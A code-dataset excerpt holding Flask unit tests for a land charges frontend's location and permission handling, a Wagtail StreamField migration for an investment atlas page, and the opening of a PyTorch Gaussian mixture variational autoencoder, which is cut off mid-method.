self.assertRedirects(response, url_for('add_land_charge.get_address_confirmation'))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_add_location_post_succeeds_when_no_address_and_in_authority(self, mock_review_router, mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_for_charge')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
self.mock_session.return_value.user.organisation = 'abc'
mock_la_api.return_value.get_authorities_by_extent.return_value = {"abc": True}
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
mock_la_api.return_value.get_authorities_by_extent.assert_called()
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_address_for_charge'))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_add_location_post_succeeds_when_address_data_set_if_in_authority(self, mock_review_router, mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
selected_address = {
'address': 'display address',
'line_1': 'Flat 1',
'line_2': 'Place',
'line_3': 'Holder',
'line_4': 'Flat 1',
'line_5': 'Flat 1',
'line_6': 'Flat 1',
'postcode': 'postcode',
'uprn': 123456789
}
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
self.mock_session.return_value.user.organisation = 'abc'
mock_la_api.return_value.get_authorities_by_extent.return_value = {"abc": True}
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input,
'selected-address': json.dumps(selected_address)
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
mock_la_api.return_value.get_authorities_by_extent.assert_called()
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_address_confirmation'))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_add_location_post_redirects_to_location_confirmation(self, mock_review_router, mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
selected_address = {
'address': 'display address',
'line_1': 'Flat 1',
'line_2': 'Place',
'line_3': 'Holder',
'line_4': 'Flat 1',
'line_5': 'Flat 1',
'line_6': 'Flat 1',
'postcode': 'postcode',
'uprn': 123456789
}
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
self.mock_session.return_value.user.organisation = 'Abc'
mock_la_api.return_value.get_authorities_by_extent.return_value = {"DEF": True}
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input,
'selected-address': json.dumps(selected_address)
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=True))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_add_location_post_redirects_to_location_confirmation_no_address(self, mock_review_router, mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
self.mock_session.return_value.user.organisation = 'Abc'
mock_la_api.return_value.get_authorities_by_extent.return_value = {"DEF": True}
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=False))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_post_with_add_england_permission_succeeds_when_address_data_set_if_in_authority(self, mock_review_router,
mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
selected_address = {
'address': 'display address',
'line_1': 'Flat 1',
'line_2': 'Place',
'line_3': 'Holder',
'line_4': 'Flat 1',
'line_5': 'Flat 1',
'line_6': 'Flat 1',
'postcode': 'postcode',
'uprn': 123456789
}
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_england]
mock_la_api.return_value.get_authorities_by_extent.return_value = {"abc": True}
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input,
'selected-address': json.dumps(selected_address)
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
mock_la_api.return_value.get_authorities_by_extent.assert_called()
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_address_confirmation'))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_post_with_add_england_permission_redirects_to_location_confirmation(self, mock_review_router,
mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
selected_address = {
'address': 'display address',
'line_1': 'Flat 1',
'line_2': 'Place',
'line_3': 'Holder',
'line_4': 'Flat 1',
'line_5': 'Flat 1',
'line_6': 'Flat 1',
'postcode': 'postcode',
'uprn': 123456789
}
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_england]
self.mock_session.return_value.user.organisation = 'Abc'
mock_la_api.return_value.get_authorities_by_extent.return_value = []
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input,
'selected-address': json.dumps(selected_address)
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
mock_la_api.return_value.get_authorities_by_extent.assert_called()
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=True))
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_add_location_post_redirects_to_error(self, mock_review_router, mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
self.mock_session.return_value.user.roles = ['LLC LA Admins']
self.mock_session.return_value.user.organisation = 'Abc'
mock_la_api.return_value.get_authorities_by_extent.side_effect = ApplicationError(500)
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
self.assert_status(response, 302)
self.assertRedirects(response, '/error')
def test_get_no_permission(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = []
response = self.client.get(url_for('add_land_charge.get_location'))
self.assertStatus(response, 302)
self.assertRedirects(response, '/not-authorised')
def test_post_no_permission(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = []
response = self.client.post(url_for('add_land_charge.post_location'))
self.assertStatus(response, 302)
self.assertRedirects(response, '/not-authorised')
@patch('maintain_frontend.add_land_charge.location.LocalAuthorityService')
@patch('maintain_frontend.add_land_charge.location.ReviewRouter')
def test_add_location_post_redirects_to_location_confirmation_no_address_if_address_invalid(self,
mock_review_router,
mock_la_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation')
input = '{"type":"FeatureCollection",' \
'"features":[' \
'{"type":"Feature",' \
'"geometry":{' \
'"type":"Polygon",' \
'"coordinates":[' \
'[[511076.08598934463,381319.1389185938],' \
'[502935.0162093069,344754.81621829123],' \
'[460299.51643357374,365124.6766137525],' \
'[478395.29646112275,392099.3797708411],' \
'[511076.08598934463,381319.1389185938]]]},' \
'"properties":{"id":1}}]}'
state = LocalLandChargeItem()
self.mock_session.return_value.add_charge_state = state
self.mock_session.return_value.user.permissions = [Permissions.add_llc]
self.mock_session.return_value.user.roles = ['LLC LA Admins']
self.mock_session.return_value.user.organisation = 'Abc'
mock_la_api.return_value.get_authorities_by_extent.return_value = {"DEF": True}
response = self.client.post(url_for('add_land_charge.post_location'), data={
'saved-features': input,
'selected-address': '{"hello":"world"}'
})
mock_review_router.update_edited_field.assert_called_with(
'geometry', json.loads(input.strip())
)
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=False))
| 43.815832
| 118
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| 0
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| 27,122
| 618
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| 1
| 0.041322
| false
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| 0.066116
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| null | 0
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0
| 7
|
b6c9616f41f34d4aa170cf2e27db78a43fbac1cf
| 14,793
|
py
|
Python
|
great_international/migrations/0101_remove_limit_on_atlas_landing_page_block_main_content.py
|
uktrade/directory-cms
|
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
|
[
"MIT"
] | 6
|
2018-03-20T11:19:07.000Z
|
2021-10-05T07:53:11.000Z
|
great_international/migrations/0101_remove_limit_on_atlas_landing_page_block_main_content.py
|
uktrade/directory-cms
|
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
|
[
"MIT"
] | 802
|
2018-02-05T14:16:13.000Z
|
2022-02-10T10:59:21.000Z
|
great_international/migrations/0101_remove_limit_on_atlas_landing_page_block_main_content.py
|
uktrade/directory-cms
|
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
|
[
"MIT"
] | 6
|
2019-01-22T13:19:37.000Z
|
2019-07-01T10:35:26.000Z
|
# Generated by Django 2.2.24 on 2021-09-06 13:11
from django.db import migrations
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.images.blocks
class Migration(migrations.Migration):
dependencies = [
('great_international', '0100_refactor_international_homepage'),
]
operations = [
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_ar',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_de',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_en_gb',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_es',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_fr',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_ja',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_pt',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
migrations.AlterField(
model_name='investmentatlaslandingpage',
name='downpage_sections_zh_hans',
field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True),
),
]
| 238.596774
| 1,469
| 0.745082
| 1,995
| 14,793
| 5.423058
| 0.058145
| 0.139292
| 0.199556
| 0.129772
| 0.975783
| 0.975783
| 0.975783
| 0.975783
| 0.968851
| 0.968851
| 0
| 0.014319
| 0.09829
| 14,793
| 61
| 1,470
| 242.508197
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| 0.654545
| 1
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| 0.021567
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|
0
| 10
|
8e08aaa4bcbcaeeb49c0995b980389fbb4038c75
| 12,102
|
py
|
Python
|
monai/networks/nets/gmvae.py
|
albarqounilab/MONAI
|
bb0b307d68021a243011a58fd82a1d275f00a51a
|
[
"Apache-2.0"
] | null | null | null |
monai/networks/nets/gmvae.py
|
albarqounilab/MONAI
|
bb0b307d68021a243011a58fd82a1d275f00a51a
|
[
"Apache-2.0"
] | null | null | null |
monai/networks/nets/gmvae.py
|
albarqounilab/MONAI
|
bb0b307d68021a243011a58fd82a1d275f00a51a
|
[
"Apache-2.0"
] | null | null | null |
import torch
import torch.nn as nn
import numpy as np
from typing import Sequence
from monai.networks.blocks import Convolution
from monai.networks.layers.convutils import weights_init
from monai.utils.misc import generate_tensor
from monai.networks.nets.convolutional_autoencoders import *
__all__ = ["GaussianMixtureVariationalAutoEncoder", "GaussianMixtureVariationalAutoEncoderBig"]
class GaussianMixtureVariationalAutoEncoder(nn.Module):
def __init__(self, dimensions: int, in_channels: int, dim_z: int, dim_w: int, dim_c: int, channels: Sequence[int],
out_ch: int, strides: Sequence[int], kernel_size=5, norm='batch', act='leakyrelu', bottleneck=False,
skip=False,norm_mean=0, norm_std=1):
"""
Variational Auto-Encoder
:param dimensions:
:param in_channels:
:param dim_z:
:param dim_w:
:param dim_c
:param channels:
:param strides:
:param kernel_size:
:param norm:
:param act:
:param bottleneck:
:param skip:
:param norm_mean:
:param norm_std:
"""
super(GaussianMixtureVariationalAutoEncoder, self).__init__()
self.norm_mean = norm_mean
self.norm_std = norm_std
self.dim_c = dim_c
self.encode = Encoder(dimensions=dimensions, in_channels=in_channels, channels=channels, strides=strides,
kernel_size=kernel_size, norm=norm, act=act, name_prefix='ENC_')
self.decode = Decoder(dimensions=dimensions, in_channels=in_channels, channels=channels, out_ch=out_ch,
strides=strides, kernel_size=kernel_size, norm=norm, act=act, act_final='sigmoid',
bottleneck=bottleneck, skip=skip, add_final=True, name_prefix='DEC_')
z_channels = channels[-1]
# Z
self.z_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z, strides=1,
kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='')
self.z_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch',
act='relu', name='')
self.z_log_sigma_conv.apply(weights_init)
# W
self.w_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w, strides=1,
kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='')
self.w_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch',
act='relu', name='')
self.w_log_sigma_conv.apply(weights_init)
# Z_WC
self.z_wc_conv = Convolution(dimensions=dimensions, in_channels=dim_w, out_channels=channels[0], strides=1,
kernel_size=1, conv_only=False, bias=True, norm='batch', act='relu', name='')
self.z_wc_mu_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z * dim_w,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu')
self.z_wc_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=channels[0],
out_channels=dim_z * dim_w, strides=1, kernel_size=1, conv_only=True,
bias=True, norm='batch', act='relu')
self.z_wc_log_sigma_conv.apply(weights_init)
def _latent_distribution(self, z_enc: torch):
# q(z|x)
z_mean = self.z_mu_conv(z_enc)
z_log_sigma = self.z_log_sigma_conv(z_enc)
z = z_mean + torch.exp(0.5 * z_log_sigma) * generate_tensor(z_mean)
# q(w|x)
w_mean = self.w_mu_conv(z_enc)
w_log_sigma = self.w_log_sigma_conv(z_enc)
w = w_mean + torch.exp(0.5 * w_log_sigma) * generate_tensor(w_mean)
# posterior p(z|w,c)
w_enc = self.z_wc_conv(w)
z_wc_mean = self.z_wc_mu_conv(w_enc)
z_wc_log_sigma = self.z_wc_log_sigma_conv(w_enc)
z_wc = z_wc_mean + torch.exp(z_wc_log_sigma) * generate_tensor(z_wc_mean)
# prior p(c) network
z_sample = torch.tile(z, [1, self.dim_c, 1, 1])
pc_logit = -0.5 * torch.pow(torch.subtract(z_sample, z_wc_mean), 2) * torch.exp(z_wc_log_sigma) \
- z_wc_log_sigma + torch.log(torch.tensor(np.pi))
pc = self.softMax(pc_logit)
return {'z': z, 'w': w, 'z_wc': z_wc, 'pc': pc}
def _skip_forward(self, x: torch):
# encoding network
down_samples = []
z_enc = x
for layer in self.encode:
z_enc = layer(z_enc)
if hasattr(layer, 'conv'):
down_samples.append(z_enc)
# latent
return_dict = self._latent_distribution(z_enc)
x_ = return_dict['z']
# decoding network
for i, layer in enumerate(self.decode):
if hasattr(layer, 'conv'):
if layer.conv.stride[0] == 2:
x_ = torch.cat((x_, down_samples[-i - 1]), 1)
x_ = layer(x_)
return x_, return_dict
def forward(self, x: torch):
# encode
z_enc = self.encode(x)
# latent
return_dict = self._latent_distribution(z_enc)
